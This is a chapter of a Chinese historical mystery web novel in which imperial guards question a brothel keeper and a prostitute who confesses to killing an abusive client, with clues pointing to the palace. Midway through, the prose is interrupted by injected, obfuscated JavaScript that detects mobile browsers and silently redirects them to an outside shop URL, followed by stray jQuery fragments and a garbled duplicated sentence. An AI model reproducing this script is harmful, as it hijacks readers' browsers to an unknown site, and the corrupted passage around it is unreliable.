两人带队锦衣卫骑马迅至西街，越过十六楼行了几里，周遭渐显颓败，路侧尽是瑟缩在阴影里的流民。


    不多时，马蹄驻于一处高门深宅前。老九早已带人封了门户，见二人赶来，抬手招呼：“老大，招了。”


    裴熙野勒马而立，心头无端一跳。


    太顺了。入衙近四载，如此顺水推舟的案子，还是头一遭。


    两人下马，几个大步走近，就见老鸨带着一名面色苍白的女子跪在身前。


    官靴渐近，老鸨瞥见来人，突然变了脸，拍大腿干嚎起来：“哎哟诸位爷！快别堵门了，天都要黑了，您几位往这一站，奴家往后还怎么做生意？”


    猴子因养母教导，自小最是照顾女子，无论对方老少身份，见状皱眉道：“老九，你怎的欺负女子？”


    “嘿，你这脑子糊涂的，老子哪敢？”老九阴着脸横了老鸨一眼，生生教她那嚎丧声断在喉里。


    他转头对裴熙野道：“这婆子方才自己腿软跪下的，说是这叫樱桃的姑娘，昨夜直到现在，一直跟那姓杜的腻在一处，结果早上一来，发现男的已然气都没了，如今反倒瞧着老大您面嫩，变了脸色，正打算拿话捏您呢。”


    老鸨咽了唾沫，仍想抓住一线机会，蹉跎着膝盖往裴熙野那边挪：“大人，真与我们没关系，昨儿杜公子是来此不假，但近日他每天都来啊，一呆就是一晚，昨日他也照常点了樱桃陪侍，早上就回去了，我...”


    裴熙野目光在两人身上来回，冷冷开口：“早上？他昨日戌时左右就身亡了！想好了再说，想好了再说，阵前翻供，可是要吃刑的。”


    老鸨被他冷意吓得脸色一白，心道本以为是个面皮白净、好糊弄的后生，未曾想是个更凶的活阎王，结巴道：“我们省得，确...确实没有任何隐瞒...爷不信，可以问...”


    裴熙野直接上前，看着面色如纸的女子：“你是此处妓子？”


    樱桃木然点头。


    “抬脚，让我瞧瞧你的鞋底。”


    樱桃眨了眨眼睛，似是想到了什么，面色又白了几分：“我..”


    “哎哟，爷，她昨晚压根没穿鞋。”老鸨忙不迭地横插一杠，脸上堆起几分油腻的笑，“咱这丽春院有个远近闻名的‘特色’，入幕承恩皆需全身赤裸。您若不信，大可去打听打听，莫说旁人，便是您的好些同僚，也是这儿的常客……”


    她话里藏针，存心想拿人脉压一压锦衣卫的势头。毕竟这院子底子不干净，最怕这帮煞星深挖。


    裴熙野充耳不闻，只死盯着樱桃：“你昨晚出过这个院子，是吗？”


    樱桃垂下头，眼尾洇出一抹红：“是。”


    “那是奴家使唤她去东街买头条糕去了！”老鸨还在圆谎，神色愈发焦躁，“大人怜惜，这丫头打小脑子不灵光，话说不全，记性也差...”


    樱桃小声：“算了吧，妈妈。”


    老鸨面色骤变，狠狠掐向她的手臂，啐道：“什么算了？身契尚在老娘手里，你若敢胡言乱语带累了买卖，看我不揭了你的皮！”


    “是我杀的！”樱桃猛然抬头，在那记毒辣的掐痕下，她反倒生出一股破釜沉舟的平静。


    她直视着裴熙野，声音在那阴冷的巷弄里显得格外清晰，“杜公子，是我杀的！”


    老鸨惊得双眼几欲裂开，疯了般扑上去想捂她的嘴：“你这丧门星！诚心要气死老娘不成...”


    裴熙野冷眼一扫，猴子当即会意，错步上前反剪了老鸨双臂，顺手扯下帕子塞了她的嘴，将人一路拖往院外。


    周遭骤然静了下来。裴熙野趋前一步，居高临下地审视着眼前的女子：“你说是你杀的。那我问你，凶器为何物？如今又在何处？”


    樱桃死死攥着指尖：“我用的刀。杀了人，便顺手扔进后门的河里了。”


    裴熙野蹙眉，语调凌厉：“杜岐远遭长刃枭首，一刀切断颈骨。你这般瘦骨伶仃，挥不动那等重刃，更遑论如此精练的腕力。说，是谁在教你顶罪？”


    樱桃猛地抬眼，眼底尽是绝望：“没人教我！就是我杀了他！他先前口口声声说爱我、要赎我，转头却要把我卖给那个老阉人做玩物！我恨他入骨，我就是要他死！”


    “再给你最后一次机会。”裴熙野俯身，声音压得极低，“说实话。否则，今日这满院的人皆要背上伪证脱逃之罪，你那位妄图替你遮掩的老妈妈，首当其冲。”


    樱桃浑身剧颤，泪珠如断线珠子般落下，死死咬着唇，半晌，像是耗尽了全身精气，颤巍巍地掀起那袭单薄的衣袖。


    “确是我杀了他，只是缘由无关情爱……”她惨然一笑，露出一截手臂，“大人瞧了这个，便全明白了。”


    白皙纤细的小臂上，几道狰狞牙印翻翘，深紫色勒痕和新旧疤痕交错其间，触目惊心。


    “我身上、大腿上，全身都是，比这更甚。”樱桃嗓音苍凉，带着自嘲的笑意，“丽春院挣的是卖命钱，大人莫恼我等方才撒谎，实是不愿教人掀了这处糊口的烂摊子。恩客欢喜了赏几个子，不欢喜了便拿我等撒气。杜岐远家道中落，满腹戾气尽数泄在了我身上。”


    她垂着眼帘，遮去眼底翻涌的情绪，“他是我遇见过最心狠的，表面上玉面公子，只要一句讨不得欢心，立马折磨。鞭子抽，刀刃划，只要血没流尽，气能喘出，就任他玩。”


    樱桃凄然一笑，神色倦怠，“这般活法，横竖是烂命一条。若能换得妈妈平安，也算全了她养我一场的恩情，没什么值不值得。”


    猴子听得满心愤慨，眼眶微赤，老九死死按住他欲找老鸨算账的肩头，眼底亦是一片悲悯。


    “我不怪妈妈。”樱桃复又低首，“妈妈是我的救命恩人，比前任班主待我们好过千百倍。似我这般残缺之人，一般的行院是不收的。丽春院自前朝就一直是这样的生意，听姊妹们说，妈妈已经算是最好的一任院主了。”


    她缓缓伸出一直握拳的手掌，竟是六个手指。


    院中静了片刻。


    裴熙野微微颔首：“所以你是反击？”


    樱桃叩首，冷笑中尽是快意，不见半分悔色：“昨日他又到我这里，逼着我喝那些腌臜药，折腾到后半夜才昏睡过去，我看着他胸口衣物大开，只觉得脑子里一片空白，拿起手边的利器就砍了过去...具体是什么刀，我记不清了，左右是他日常用来折磨我中的一把。待我回过神，他已没了气。我惊惶之下唤来妈妈，妈妈怕牵连院里的姊妹，便遣了个汉子帮我抬尸，丢回杜府做成遭刺的假象。”


    “帮你抬尸的那个人现在在哪？”


    樱桃咬着下唇摇头：“我不知道，妈妈给了银钱，他抬完尸就走了。”


    “带下去看押，把老鸨提回来。”裴熙野直起身，摆手吩咐，目光扫过院里斑驳的墙壁，廊下挂着的一件藏青色外袍格外扎眼，那袍子料子不俗，却洗得有些发白，与这腌臜弄巷格格不入。


    他脚步顿了顿走过去，指尖捻了捻布料，回头看向刚被押进来的老鸨。


    “为什么撒谎？”


    老鸨脸一白，瘫坐在地上，半晌才嗫嚅：“大人明察，奴家并非有意欺瞒。这丫头性子软，生生被杜公子折损了大半年，奴家也是瞧着心疼...”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477877|201587||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “也没耽误你卖她挣钱。”裴熙野冷嗤，向廊下外袍抬抬下巴，“谁的？”


    老鸨的目光顺着他的手指看过去，目露疑惑：“应是哪位客人...”


    反倒是樱桃被卫兵押着经过廊下，出声：“是前几日一位来寻杜岐远的客人的，那日我失手将酒洒在他身上，他却宽慰我说无事，但感慨这袍子是逝友所送，料子金贵，沾不得一点脏。因我自小在染坊长大，知晓如何浆洗不褪色，便央他褪下由我清洗。说起来，他和昨晚抛尸的人体型倒是很像...”


    裴熙野眉峰微蹙：“那个客人长什么样？多大年纪？”


    “我...我没太看清，他进门的时候裹着风帽，看不清长相。”樱桃咬着唇回想，“腿很长，个头比您还要高半头，但走起路来一瘸一拐，说话声音瓮瓮的。”


    老九立刻上前一步：“老大，我这就派人全城搜捕！”


    “不急。”裴熙野抬手拦住他，指了指袍角那点淡青色的痕迹，“先查查这点染料的来历，瞧着像是某种罕见的矿染。先查查这点染料的来历，瞧着像是宫里专供的料子。”


    他侧首，语速极快地吩咐道：“老九带人守死前后门，再仔细搜搜这院里还有没有余下的首尾。猴子，跟我去樱桃屋里转转。”


    甫入小院，一股甜腻至极的异香便扑鼻而来，与杜岐远鞋底残留的气味如出一辙。


    猴子掩鼻低骂：“这西域秘药当真冲头，甜得教人发慌。”


    裴熙野默而不语，冷目环视。当他指尖掠过床头暗格时，顺势一抽，一块彩色锦缎跃然指尖。


    那是一方绣着四爪蟒纹的青锦帕，帕角余温未散，还沾着几点新陈的银炭灰。


    猴子见状，失声惊呼：“蟒纹？这可是宗室才配用的物件！莫非贤王世子根本没回封地？”


    裴熙野指尖摩挲着帕面，眉宇间掠过一丝晦暗，沉声截断：“莫要妄议。此物兴许是杜府昔年勾结他府的罪证，杜岐远落魄至此，拿它抵账也未可知。”


    两人未能搜到其他证物，有的只是满屋的刑具。


    “这脏地方，花样竟不比咱们诏狱少。”猴子一脸厌恶，正欲撤身，却见裴熙野立在原地，将那帕子攒进手心。


    “老大，可有异样？”


    “无妨。”裴熙野勉强牵了牵唇角，将帕子妥帖收好，“只是准备拿回去，权当证物。”


    蟒纹，当今世上可纹此制者，唯监国太子、皇长孙、贤王和齐王，如今日常所见的彩织云锦多为靛蓝重色，此前他那位远房表哥在御赐赏物中显摆过，说是皇爷爷钦赐，贵气凌人，却少了几分灵动。


    可手中这帕子，却是极浅淡的晴青色。织法略显古意，透着股温柔朦胧的温柔，记忆中的那道旧影偏爱这种色彩。


    废太子。


    裴熙野紧握手心，神色却未有丝毫变化，将那锦帕藏入怀中。


    ——


    紫山湖畔，姜菀之轻点水面，一路掠至赵府门口，看向满院缟素。


    灵堂之中，赵雪满头华发之上簪上白巾，面目沉静，跪坐在佛像和棺材之间，为亡灵超度念经。


    “你们到底没团圆。”姜菀之轻叹。


    赵雪手中佛珠止住波动，缓缓抬眸看她：“姜姑娘，这不怪你，是远儿命不好。”


    姜菀之叩首，坐至她身侧：“你似乎不难过。”


    老妇轻笑一声，枯瘦的指尖重新拨开珠串，喃喃自语：“哀恸到了极点，便是心死如灰。既然心都成了死灰，哪里还流得出泪来？”


    “是么。”姜菀之轻叹，“你是因此，才亲手杀了自己盼望十数年的儿子吗？”